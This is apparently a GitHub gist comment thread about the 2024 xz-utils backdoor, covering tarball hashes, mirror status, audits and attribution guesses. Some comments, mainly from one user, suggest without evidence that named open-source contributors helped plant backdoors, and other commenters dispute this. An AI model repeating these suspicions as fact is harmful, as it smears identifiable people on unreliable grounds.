As for the potential link to Loongson/LoongArch, I deliberately avoid getting into affiliation with Loongson, and haven't signed any NDA with them. AFAIK xry111 is also unaffiliated. We're mostly just doing trivial arch enablement here and there, fixing build errors, fixing modern C compatibility, all the daily packager stuff, and only occasionally going deeper than that. And from my experience, most of the arch-specific, or LoongArch-specific changes, would be guarded by #ifdef's or reside in separate files, and would never get built on other more popular arches.

Hope that's helpful in clearing some of the confusion or suspicion; I know I'm one of the people being suspected here though, so if that's the case, maybe read the code and reach your own conclusion. (And I'm not being defensive by replying with this; don't take this to be personal if I sound strange by not being a native speaker of English.)

@Artoria2e5
Copy link

Artoria2e5 commented Mar 30, 2024

And if you are trying to build a Debian or Red Hat package:

I would recommend rewording this to "building a package with dpkg or rpm". It's plausible to write and use rpm spec files without depending on the rest of the (whatever rpm distro you're using)'s package tree. It's less plausible to do the same with dpkg-buildpackage because it's a bigger bother to write debian/*, but is still possible.


@aspu https://git.tukaani.org/?p=xz.git;a=summary this is much more interesting though. Might be a viable candidate to clean from.

This is probably up-to-date with GitHub's version of the git tree. It does not have the fun stuff in the releases, but it does have the two test files.

The wayback machine at https://web.archive.org/web/20240226100419/https://github.com/tukaani-project/xz/releases/download/v5.6.0/xz-5.6.0.tar.gz (for full list, see here) gives sha512 1ef3cd3607818314e55b28c20263a9088d4b6e5362a45fbd37c17e799e26b4a7579928b99925ffe71e7804b0db2f65936f66a825bac9b23b7b0664f902925de8. This is consistent with https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27?permalink_comment_id=5005868#gistcomment-5005868, but somehow not with https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27?permalink_comment_id=5005854#gistcomment-5005854.

I think someone should more carefully document where the script comes from and how to extract it. I am a bit lost in Sam's comments as to which is which, since he presented two different SHA512s for the same filename.

(I saw a tweet with part of the extraction run manually. Involves a lot of head. Yeah... the pros are probably already on the ELF file, why should I worry now.)

@herzeleid02
Copy link

are there news considering the exploitation of this backdoor?

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

Guys, I know we can't read PRs anymore in xz repo, but as I said earlier this PR tukaani-project/xz#86 was about actor JiaT75 coordinating with actor xry111 to further like "completely fasten CRC manytimesfold".

Maybe the code in that particular PR is legit, BUT:

As per original Andres Freund discovery, this exploit is exploiting CRC routines. Also same xry111 previously contributed (approved other's PRs and reviewed PRs from others) from openssl (SSH is involved the backdoor)

That actor is involved in so many PR/commits/review in openssl and systemd, protobuf-c. llvms, util-linux. torvalds/linux, make-ca, cpython, curl, libxcrypt, dosbox-x, rust...
16 repo contributed to this year, 47 repos in 2023, 38 in 2024.
Some of his PRs are reviewed in conjunction with xen0n or xry111 is reviewing PRs from him. xen0n has contributed 36 repos this year, 101 in 2023 and 136 in 2024.

They are participating to adding support for "Loongsong Chinese architecture", so that might explain their wide contributions, but everyone in their group https://github.com/loongson-community is accessing a large number of key open source projects
Overall they cover such a wide number of open source projects, rust, nodejs, mozilla repos...

I'm not saying all PRs are suspicious, but certainly an actor can coordinate between these components to push a few changes here an there to create some sophisticated exploit like the one showed here to exploit .

It's a Loong stretch, but Linux is like powering $400-500B Cloud/Saas revenue, not counting all standalone servers out there, All of that powering a large portion of the world's economy; so a motivated bad actor can definetaly afford taking a couple of years of good contributions to obfuscate and backdoor Linux.

The sophistication of the current attack is an indicator all of packages these folks contributed need complete review of all PRs and commits from these folks.

thanks @ozars for this link:
https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPTSBnaXRodWJfZXZlbnRzIFdIRVJFIGFjdG9yX2xvZ2luPSd4cnkxMTEnIE9SREVSIEJZIGZpbGVfdGltZSBERVND

Using SELECT DISTINCT repo_name FROM github_events WHERE actor_login='xry111' ORDER BY file_time DESC

In the above will help assess how many linux core code are impacted by this actor/group (a lot).
image

Please comment on this, am I hallucinating ? This is a serious concern.
All original official projects these group touched need complete review of that group's contribution to their code, if you know them, please get their feedback on the topic

Coordinated changes to kernel, build tools, core deamons library and drivers is definitely possible after gaining trust over legit contributions by many different accounts over the course of many years for a motivated threat actor.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

Ah, waking up only to see this xz drama, and with myself somehow "involved"... I've just checked my boxes and they aren't affected, so let me provide some info from my perspective.

For the record, I know this xry111 guy and have met him in person last year, so I can at least confirm his identity is real and that he is actually doing the porting work. Either I'm being deceived as well, or maybe it's just unfortunate similarity in activity patterns after all; one can only know by actually reviewing the code.

As for the potential link to Loongson/LoongArch, I deliberately avoid getting into affiliation with Loongson, and haven't signed any NDA with them. AFAIK xry111 is also unaffiliated. We're mostly just doing trivial arch enablement here and there, fixing build errors, fixing modern C compatibility, all the daily packager stuff, and only occasionally going deeper than that. And from my experience, most of the arch-specific, or LoongArch-specific changes, would be guarded by #ifdef's or reside in separate files, and would never get built on other more popular arches.

Hope that's helpful in clearing some of the confusion or suspicion; I know I'm one of the people being suspected here though, so if that's the case, maybe read the code and reach your own conclusion. (And I'm not being defensive by replying with this; don't take this to be personal if I sound strange by not being a native speaker of English.)

Thanks for replying, I'm sorry if I'm overstretching this and you are innocent. My second post arrived in the mean time. We need all original project maintainers to review all your group's contributions as some legit contributions might have been used to obfuscate other backdoor-allowing code in systemd, llvm, make, openssl...

I was already suspicious seeing none of your group are actual official employees of Loongson.

@Artoria2e5
Copy link

Artoria2e5 commented Mar 30, 2024

I simply love it when people start connecting weird-ahh lines.

Look Mr Z-nonymous, I've met with at least 3 of the people on your screenshot, maybe even more but I'm terrible with faces. Felix Yan even signed my lost PGP key 222d7bda before a LUG meet many years ago. You're accusing people with real identification cards and faces and online names from the shadow of anonymity.

You better not bother my fat cat-avatar friend.

I was already suspicious seeing none of your group are actual official employees of Loongson.

If you know, you know. The Loongson people are terrible at writing documentation for the fancy features they bloat about (or according to their insiders, terrible at getting their legal or whatever departments to approve the public release of documentation; "you can win a competition and sign an NDA to get it!"). Their hardware is new, curious, and not cheap. Some people buy one and just spend forever trying to make it run a GBA emulator faster. It's basically Alcoholics Anonymous, but for people who spend 500+ dollars on a weird computer.

@Z-nonymous
Copy link

I simply love it when people start connecting weird-ahh lines.

Look Mr Z-nonymous, I've met with at least 3 of the people on your screenshot, maybe even more but I'm terrible with faces. Felix Yan even signed my lost PGP key 222d7bda before a LUG meet many years ago. You're accusing people with real identification cards and faces and online names from the shadow of anonymity.

You better not bother my fat cat-avatar friend.

I was already suspicious seeing none of your group are actual official employees of Loongson.

If you know, you know. The Loongson people are terrible at writing documentation for the fancy features they bloat about (or according to their insiders, terrible at getting their legal or whatever departments to approve the public release of documentation; "you can win a competition and sign an NDA to get it!"). Their hardware is new, curious, and not cheap. Some people buy one and just spend forever trying to make it run a GBA emulator faster. It's basically Alcoholics Anonymous, but for people who spend 500+ dollars on a weird computer.

Again sorry if i'm over stretching, I'd love to be wrong.

Again CRC, systemd, SSL cordinated changes that are exploited by this backdoor payload. hundreds of billions of potential ransomware $
I'm not buying anything other than the original code maintainers, of the touched repos to validated all that group's contribution.

I'm not disclosing my indentity because it's not needed to participate in github, which is why such elaborate attack is possible.

@lhmouse
Copy link

lhmouse commented Mar 30, 2024

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

@Artoria2e5
Copy link

Artoria2e5 commented Mar 30, 2024

Shall we look at the things you linked to then?

CRC: loongarch isn’t even being attacked here. Changing to that specialized implementation on a not-x86 architecture has no effect on x86-64, which is our target.

Systemd: what do you expect removing the "pure" attribute to do? It does not cause systemd to load liblzma if it previously did not, that I know.

SSL warning: it’s not even a security warning, it’s an annoying usage warning from OpenSSL. Command-line OpenSSL.

@Z-nonymous
Copy link

That sounds like a dangerous slippery slope stemming from confirmation bias. I suggest focusing on processes, not on people, and especially avoiding inflammatory language.

Thanks I'll stop there, I know maintainers of a lot of these projects are overworked, sometimes it's a side project, and welcome contributors. Lasse seems the example with emails explaining he has issues continue maintaining, while people pressuring for updates.

I just want all of these project original owners to understand the potential bigger issue that needs reviewing. This is highly sophisticated attack, involving CRC, SSL, systemd, make, I hope forensics get to the full explanation, but all the critical path to get such a backdoor in stealthly is touched by this group of enthousiast.

I'm also saying I could be wrong, but this needs thorough investigation.
On an OS that is powering almost every server and containers out there. Backdoor root access.

@taoky
Copy link

taoky commented Mar 30, 2024

https://web.archive.org/web/20240329180818/https://github.com/tukaani-project/xz/pull/86

The attacker only participates in reviewing the pull request (and it's the only open PR in xz repo at that time). Please stop making unreasonable accusation towards innocent developers.

@Z-nonymous
Copy link

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised.
It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

@erinacio
Copy link

Everyone, if you think any repo that could be affected needs a security audit, please open issues there asking for that, or simply contact the maintainers in person. There's no reason for advocating witch-hunting here. Please stop accusing others with vague evidences.

@Fearyncess
Copy link

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised. It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

quote-talk-is-cheap-show-me-the-code-linus-torvalds-45-66-13

@MingcongBai
Copy link

MingcongBai commented Mar 30, 2024

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised. It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

Eh.

Look dude, I'd be more careful with this kind of accusation. It's more than a little funny seeing you mention my name and then invalidating all of our (can friendship and passion not exist in China) work. How dare you.

Go, look me up and rest assured that you will be disappointed.

It's normal be anxious or at least a little nervous about the aftermath of this drama, but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit. This is the only way forward that does not bring doom to open source collaboration and this international community that we have worked so hard to build (and, in case you're wondering about what we do, to convince employees and management at Loongson that an open and community-friendly policy is the way forward).

If you still believe in this, please don't disappoint.

EDIT: Grammatical fixes, you know, not my native tongue.

@mrbbbaixue
Copy link

mrbbbaixue commented Mar 30, 2024

From the perspective of Loongson Company, there is no reason for them to extensively modify the fundamental components of Linux merely to add a backdoor.
Maybe we should just stop accusing specific country, company, And just focus on this person who write this; and how to stop this.

@vtorri
Copy link

vtorri commented Mar 30, 2024

kill the autools, use meson (the philosophy of meson is : only what is in git should go to the dist, there is even no need for a release, just a tag)

@DanielRuf
Copy link

relevant xkcd: https://xkcd.com/2347/

We had such cases before that in the npmjs ecosystem (and also PyPi).
Besides that, please everyone stick to the facts.

@herzeleid02 so far there is no active exploitation known. The installed version doesn't imply that you are truly affected - just that the version with the malicious test files and code is loaded. For the execution there are multiple requirements to be successful. Currently no one knows all, the list is just what Andres Freund found out.

We had big luck, because the performance regression was quickly detected and the code analyzed. I doubt that logging could be bypassed with this backdoor, So looking at the logs may show you, if anything relevant happened. But personally I think that nothing happened because the cover has been blown now and if any threat actor would exploit that now in a large scale, everyone would see that.

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

These are just my assumptions based on my experience in the field of cyber warfare, APTs and tactics involved in such things. The best way to hide something, is in plain sight. That also reminds me of bigger espionage cases.

@FlyGoat
Copy link

FlyGoat commented Mar 30, 2024

Ah, waking up only to see this xz drama, and with myself somehow "involved"... I've just checked my boxes and they aren't affected, so let me provide some info from my perspective.
For the record, I know this xry111 guy and have met him in person last year, so I can at least confirm his identity is real and that he is actually doing the porting work. Either I'm being deceived as well, or maybe it's just unfortunate similarity in activity patterns after all; one can only know by actually reviewing the code.
As for the potential link to Loongson/LoongArch, I deliberately avoid getting into affiliation with Loongson, and haven't signed any NDA with them. AFAIK xry111 is also unaffiliated. We're mostly just doing trivial arch enablement here and there, fixing build errors, fixing modern C compatibility, all the daily packager stuff, and only occasionally going deeper than that. And from my experience, most of the arch-specific, or LoongArch-specific changes, would be guarded by #ifdef's or reside in separate files, and would never get built on other more popular arches.
Hope that's helpful in clearing some of the confusion or suspicion; I know I'm one of the people being suspected here though, so if that's the case, maybe read the code and reach your own conclusion. (And I'm not being defensive by replying with this; don't take this to be personal if I sound strange by not being a native speaker of English.)

Thanks for replying, I'm sorry if I'm overstretching this and you are innocent. My second post arrived in the mean time. We need all original project maintainers to review all your group's contributions as some legit contributions might have been used to obfuscate other backdoor-allowing code in systemd, llvm, make, openssl...

I was already suspicious seeing none of your group are actual official employees of Loongson.

In your theory Linux could not exist because Linus was not an official employee of Intel.

Speaking for my self, supporting niche architectures in various FOSS softwares is my hobby over years. If you wish to check my identity, please go ahead, you'll find nothing more than a usual uni student trying to waste spare time on random stuff.

@schkwve
Copy link

schkwve commented Mar 30, 2024

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

@FlyGoat
Copy link

FlyGoat commented Mar 30, 2024

@DanielRuf
Copy link

How do these security audits work? I've never heard of security audits in OSS before.

@schkwve there are. For example the company Cure53 does such things. Also OpenSSL got audited multiple times:
https://duckduckgo.com/?t=ffab&q=cure53+security+audit+opensource&ia=web
https://duckduckgo.com/?q=openssl+security+audit&t=ffab&ia=web

Basically they read the code, run checks against the library (do some pentesting) and provide feedback based on the results.

Even the OpenSSF and Google sponsor security audits:
https://duckduckgo.com/?t=ffab&q=openssf+security+audit&ia=web

If you look for more details around this, you will find more details for sure.

@erinacio
Copy link

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

Security audits are more common in crypto or security related repos. Take gocryptfs as an example: https://defuse.ca/audits/gocryptfs.htm .

Informal audits could be taken just by manually reviewing all commit I think, but formal audits may require asking for some security consultants. Many potentially affected repos are backed by big? corps like Red Hat (taking systemd as example). They must know the correct person to contact to perform a security audit.

@herzeleid02
Copy link

herzeleid02 commented Mar 30, 2024

relevant xkcd: https://xkcd.com/2347/

We had such cases before that in the npmjs ecosystem (and also PyPi). Besides that, please everyone stick to the facts.

@herzeleid02 so far there is no active exploitation known. The installed version doesn't imply that you are truly affected - just that the version with the malicious test files and code is loaded. For the execution there are multiple requirements to be successful. Currently no one knows all, the list is just what Andres Freund found out.

We had big luck, because the performance regression was quickly detected and the code analyzed. I doubt that logging could be bypassed with this backdoor, So looking at the logs may show you, if anything relevant happened. But personally I think that nothing happened because the cover has been blown now and if any threat actor would exploit that now in a large scale, everyone would see that.

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

These are just my assumptions based on my experience in the field of cyber warfare, APTs and tactics involved in such things. The best way to hide something, is in plain sight. That also reminds me of bigger espionage cases.

Thanks a lot for the explanation. We still need to understand whats up with the payload and how the systems could be affected. There was some information how it injects an ssh auth function, but to actually exploit me you have to even know my ip adress, which sshd doesnt just advertise to the world. Journalctl seems fine and atimes of important stuff is ok, rpm -Va is ok too. Would they go that far?

@schkwve
Copy link

schkwve commented Mar 30, 2024

How do these security audits work? I've never heard of security audits in OSS before.

@schkwve there are. For example the company Cure53 does such things. Also OpenSSL got audited multiple times: https://duckduckgo.com/?t=ffab&q=cure53+security+audit+opensource&ia=web https://duckduckgo.com/?q=openssl+security+audit&t=ffab&ia=web

Basically they read the code, run checks against the library (do some pentesting) and provide feedback based on the results.

Even the OpenSSF and Google sponsor security audits: https://duckduckgo.com/?t=ffab&q=openssf+security+audit&ia=web

If you look for more details around this, you will find more details for sure.

Thanks for the links, It's been a bit of an eye opener about OSS security :p

Security audits are more common in crypto or security related repos.

That's probably why I haven't heard of security audits that much.

@cwegener
Copy link

@Z-nonymous You need to take a break from the Internet and get some fresh air.

@Exagone313
Copy link

Exagone313 commented Mar 30, 2024

Exhibit from my Libera IRC logs, IP is redacted for privacy.

#ubuntu/2024-01-30.log, UTC hours

[16:13:01] *** Joins: jiatan (~jiatan@redacted)
[16:16:24] <jiatan> Hello! I could not find this information on the Ubuntu docs after a bit of searching. Does Ubuntu LTS use packages from Debian Unstable or Debian Testing?
[16:18:51] <oerheks> jiatan, Unstable
[16:20:13] <jiatan> oerheks: Thanks!

edit: fixed date above, the 31 has only:

[11:49:53] *** Parts: jiatan (~jiatan@redacted) (Leaving)
$ whois redacted-ip
netname:        M247-LTD-Singapore
descr:          M247 LTD Singapore Infrastructure

As per https://spur.us/ it's from Witopia VPN

@cwegener
Copy link

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

@yump
Copy link

yump commented Mar 30, 2024

@DanielRuf

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

If the perpetrator is an intelligence agency, I think the necessary preparation makes it less likely, not more likely, that there was a specific target in mind. Given that a backdoor into sshd takes years to insert, and is very useful capability to have, at a strategic level a good spy agency should be building such capabilities well in advance of learning what they are to be used for. When war looms you don't want to have to say, "Sorry boss, we can do that, but it'll take 2 years."

@lhmouse
Copy link

lhmouse commented Mar 30, 2024

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

I'm online on Libera and OFTC almost everyday, and no VPN is required.

If someone cares about their privacy, they can get generic user cloaks, provided by libera.chat since its migration from freenode; and there is no necessity to connect via VPN.

@DanielRuf
Copy link

@yump we can't say, if this is the case. It was just some input from my point of view based on past experience. Especially when it comes to tactics. So far we don't have the full details about the backdoor.

We should concentrate on the relevant technical facts for now.

@DanielRuf
Copy link

@lhmouse @cwegener the country is probably a false flag. A VPN is meant to make it look like you are from a different country.

It's not the first time I had a case where a hacker used a VPN to conceal their true country. The IP address pointed to a completely different country. So that's why we should not jump to conclusions here.

Any serious security expert does not do that. Attribution is hard and not like "look, this was the IP address, so they are in this country".

@LaRevoltage
Copy link

@yump we can't say, if this is the case. It was just some input from my point of view based on past experience. Especially when it comes to tactics. So far we don't have the full details about the backdoor.

We should concentrate on the relevant technical facts for now.

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.

There have been situation when the devs suddenly put malicious stuff in their project for various reason(GHSA-97m3-w2cp-4xx6) but the level of attack isn't comparable to this one. This is simply too good to be an exploit a normal developer wrote spontaneously.
It looks much more like a planned attack, which raises question about third party interference.

@mrbbbaixue
Copy link

from Witopia VPN 
Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland Mainland China.

Github, Libera, OFTC does not require VPN.
Moreover, These VPN services were blocked in Mainland China. Majority of Mainland China's VPN users use self-hosted servers to connect to HongKong SAR.

@marsmars0x01
Copy link

Exhibit from my Libera IRC logs, IP is redacted for privacy.

#ubuntu/2024-01-31.log, UTC hours

[16:13:01] *** Joins: jiatan (~jiatan@redacted)
[16:16:24] <jiatan> Hello! I could not find this information on the Ubuntu docs after a bit of searching. Does Ubuntu LTS use packages from Debian Unstable or Debian Testing?
[16:18:51] <oerheks> jiatan, Unstable
[16:20:13] <jiatan> oerheks: Thanks!
$ whois redacted-ip
netname:        M247-LTD-Singapore
descr:          M247 LTD Singapore Infrastructure

As per spur.us it's from Witopia VPN

Interesting..
Seems like our boy/girl/they/them is watching this unveil since last night.

Might have some proof

@DanielRuf
Copy link

@LaRevoltage exactly, I completely agree with you.

@xry111
Copy link

xry111 commented Mar 30, 2024

This attack was possible because the release manager was a malicious user. Quite the opposite I'm not a release manager of any project despite I've contributed to a dozen or two, so I cannot inject malicious code stealthy (i.e. bypassing a code review) like this.

EDIT: I'm also pretty sure I've not made any PR with binary blobs.

Thus instead of (or in addition to) accusing me, you should really consider those release managers more seriously.

And how could I know this guy had been malicious when I contributed to xz? I do all developing on Linux From Scratch where no RPMs or DEBs are used. So the malicious code was inactive and I couldn't ever noticed it (EDIT: unless my code happens to crash on this test payload, but it didn't happen). Then did I have any valid reason not to collaborate with the reviewer? Or am I free to say "hey I don't trust this reviewer, please assign another one" in the future with no evidence?! I'd be happy to do so if I was really allowed.

I'd like a security audition on all my contribution but I'd prefer someone to pay me some real money if they turn out clean, like I've commented in the PR.

BTW for the make-ca issue, we've been deliberately piping input data into openssl x509 command thus the warning is just noisy. There is even an OpenSSL issue complaining it. Simply silencing it with -in /dev/stdin is better than creating a temporary file because a temporary file would be easier to be compromised than the pipe buffer by other processes running on the system. This should be really obvious. Note that make-ca is only supposed to run on Linux so we can assume /dev/stdin is just the stdin.

@schkwve
Copy link

schkwve commented Mar 30, 2024

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.
This is simply too good to be an exploit a normal developer wrote spontaneously. It looks much more like a planned attack, which raises question about third party interference.

But what now? All we can do is identify more about the backdoor, remove it, and hopefully find traces of the backdoor being used to further track down possible backdoors in other utilities.

@Exagone313
Copy link

I find it strange that they used the name jiatan for asking this question. If they had the trouble to use a VPN, they could have even used another name that don't have any connection to the situation. Or even they could have asked it two years ago if it's really a scheme that spanned for that long.

Though, as this is a public IRC channel, it could make Ubuntu maintainers suspicious if they find threads about updating a package connected to a Debian Unstable upgrade, from another name. Or not? You can use different nicknames on different places and it's not that strange.

@mburz
Copy link

mburz commented Mar 30, 2024

Is there any IRC channel or chat room where this issue is being discussed?
I can imagine there is a lot of interest in this.

@schauveau
Copy link

It seems to me that we should be optimistic on the idea that the payload is neither installing anything on the system nor calling home. Both would significantly increases the risk of being detected. A successful ssh backdoor is too valuable to risk.

Anyways, I assume that a lot of people are actively trying to analyze the payload. Does anyone know any good links showing progress?

I had a quick look at the offending object file but, at first glance, everything looks fine. The next step is probably to compare it to a genuine object file to spot the differences (e.g. which sections have different size).

@vlad-ivanov-name
Copy link

vlad-ivanov-name commented Mar 30, 2024

Note that some Debian package mirrors still provide xz-utils 5.6.1, below it's dated March 27th

https://mirror.yandex.ru/debian/pool/main/x/xz-utils/

The pattern from detect_sh.bin can be found in liblzma5/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 at address 001047f0

@timrobbins1
Copy link

Lasse regularly has internet breaks and is on one at the moment, started before this all kicked off. We believe CISA may be trying to get in contact with him.

I don't think it's useful to point this out, as their last commit on Github was literally Tuesday this week - plougher/squashfs-tools#276

@hardfalcon
Copy link

@vlad-ivanov-name

Note that some Debian package mirrors still provide xz-utils 5.6.1, below it's dated March 27th

https://mirror.yandex.ru/debian/pool/main/x/xz-utils/

The official main mirror of the Debian project does still provide it, too:

It's possible that they simply don't have an established process for quickly removing malicious packages from their repo, and mirrors are just syncing/mirroring whatever is on the main server.

@zmej420
Copy link

zmej420 commented Mar 30, 2024

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

@LaRevoltage
Copy link

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.
This is simply too good to be an exploit a normal developer wrote spontaneously. It looks much more like a planned attack, which raises question about third party interference.

But what now? All we can do is identify more about the backdoor, remove it, and hopefully find traces of the backdoor being used to further track down possible backdoors in other utilities.

That is actually the least we do.
Patching the backdoor and checking traces of this maintainer will help to recover from this incident. It will not help us any further. This once again alarms us of the problem with developing and maintaining big project's on the base of free and open source principals. What we need is a new policy, that will prevent, or make such incidents less likely. For instance, I believe that system of checks and balances must be in place. You don't give person write permission to main branch even if they have been pushing commits for 2 years without conducting any research on their affiliations, that is by default a security concern, because, even though the commits are expected to be inspected, it just so happens that people tend to just ignore the part of code they don't understand, which never should be a case. If the malicious actor had tried to push this PR to most corporate open sourced tools, he would have miserably failed, because no one would have allowed it to pass without understanding the actual inner working of the code, no matter the previous PRs. I also doubt, that anyone would get write permissions to main branch of that project without prior checks. In my opinion the open sourced code under a real company is the best strategy for such critical repositories, and not a blind believe, that the volunteering contributors and maintainers from the community will be able to inspect and understand every commit and change, as well as to determine the trustworthiness of an unknown person on the web. This closely intersects with a problem and a running joke in the open source community - that the whole tech is holding on a personal project which 2 people who have been maintaining that project for years without any pay. This is what enables NSA and other 3d parties with resources to compromise entirety of the infrastructure. Because such projects with lenient policies are the weak link of the whole system

@mrkubax10
Copy link

Is there any IRC channel or chat room where this issue is being discussed?

It would be cool.

@konimex
Copy link

konimex commented Mar 30, 2024

Is there any IRC channel or chat room where this issue is being discussed? I can imagine there is a lot of interest in this.

The #tukaani channel on Libera is pretty active right now with Larhzu now active again.

Also, the incident has been acknowledged: https://tukaani.org/xz-backdoor/

@charlesgoyard
Copy link

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

Hi, you can search for the Veracrypt security audit as an example, or read the public report.

@sommio
Copy link

sommio commented Mar 30, 2024

@lhmouse @cwegener the country is probably a false flag. A VPN is meant to make it look like you are from a different country.

It's not the first time I had a case where a hacker used a VPN to conceal their true country. The IP address pointed to a completely different country. So that's why we should not jump to conclusions here.

Any serious security expert does not do that. Attribution is hard and not like "look, this was the IP address, so they are in this country".

It can only hide IP, real Singaporeans won't use this kind of host ASN to surf the net, it can't even watch Netflix. No one will believe he is a Singaporean.

@everything411
Copy link

We cannot even determine whether Jia Tan is an individual person or a hacker group.

Fake name and VPN ip address cannot indicate any real information about the hacker(s) behind the account.

@paulfloyd
Copy link

GNU libc isn't the only libc using ifuncs. Certainly FreeBSD libc recently added ifuncs for str* and mem* functions recently. macOS has platform variants but I don't know how they got resolved.

@Z-nonymous
Copy link

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

For the context, kernel dev for commercial UNIX experience 25 years ago, unfortunately not familiar enough with Linux kernel. Even in large companies few people have the depth of knowledge to maintaining of a very wide knowledge to cover all OS. People are all specialised on one component. Once can get easily tricked into fixing what is reported as a bug when in fact it's been a problem injected somewhere else. It's the very common case of fixing a side effect where it appears instead of where it is caused.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS. xry111 is part of that LFS community. xry111 says he's not a maintainer of xz. Sure he isn't, he can somehow commit on systemd, targeted by this backdoor (when ssh on systemd).
This is suspicious removing pure from a function declaration. a Pure function are a sanity check for build time flags so that we know the function isn't supposed to change any variable or IO. Now it's gone. Compiler can make specific more complex optimizations now at build time.

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395.
Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO.
But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

ALso targeting gentoo and LFS, then all those seemingly infossenive LLVM changes cmake changes to address random bugs maybe not reproduced, just reported by someone also advising how to fix it...

I don't have much time to review all this today, there's too much. Given the sophistaction for the actual payload to be triggered, this has to be part of a larger scheme to compromise Linux.

Somehow, using this:
https://play.clickhouse.com/play?user=play#U0VMRUNUICogRlJPTSBnaXRodWJfZXZlbnRzIFdIRVJFIGFjdG9yX2xvZ2luPSd4cnkxMTEnIE9SREVSIEJZIGZpbGVfdGltZSBERVND

we can use:
SELECT DISTINCT repo_name FROM github_events WHERE actor_login='xry111' ORDER BY file_time DESC

for all users of the community and check all their repos and how much overlap.

I'm not saying anyone is guilty, people may be tricked/engineered into making changes by bad actors. Maybe just one bad actor - to be indentified - is tricking people from this group, maybe just one person is a bad actor. Maybe all is fine. but the mere fact that they are touching so many core component of Linux security is of a big concern.

Quick glance at the type of changes, they are related to "adding test" ah this is innofnesive right and removing warnings, changing things that are even not just for Loongson architecture...

There are hundreds of repos that to be audited now to examine this group's contributions. Even though maybe they are just tricked by false bugs.

@timtas
Copy link

timtas commented Mar 30, 2024

xry

What about this Open PR tukaani-project/xz#86 with several force-push from 27 days ago?

I see JiaT75 account working with another user account (xry111) on further CRC changes (crc changes that are currently exploited), and that user has also contributed to many core linux subsystems like openssl and systemd, protobuf-c. llvms, util-linux. torvalds/linux, make-ca, cpython... xry111 has submitted PRs and commits and alo reviewer of PRs in many places. 16 repo contributed to this year, 47 repos in 2023, 38 in 2024.

He seems to be participating to Loongsong Chinese architecture and Linux From Scratch, though, which might explain his wide contributions, but SSL, CRC, Make, Building, Kernel, curl, libxcrypt... , that's a lot of places where he is contributing code or reviewing code. Wouldn't that allow for very sophisticated similar exploits ?

I did not review all but I see some make-ca update to silence openssl warnings...

Well, I'm also contributing to Linux From Scratch and therefore "know" xry111 quite well from various conversations. While he really is terribly productive and frightfully competent in various areas, I can assure you that he certainly is not part of any conspiracy here, but a real person. I personally vouche for him that he takes no part whatsoever in this backdoor issue.

@Z-nonymous
Copy link

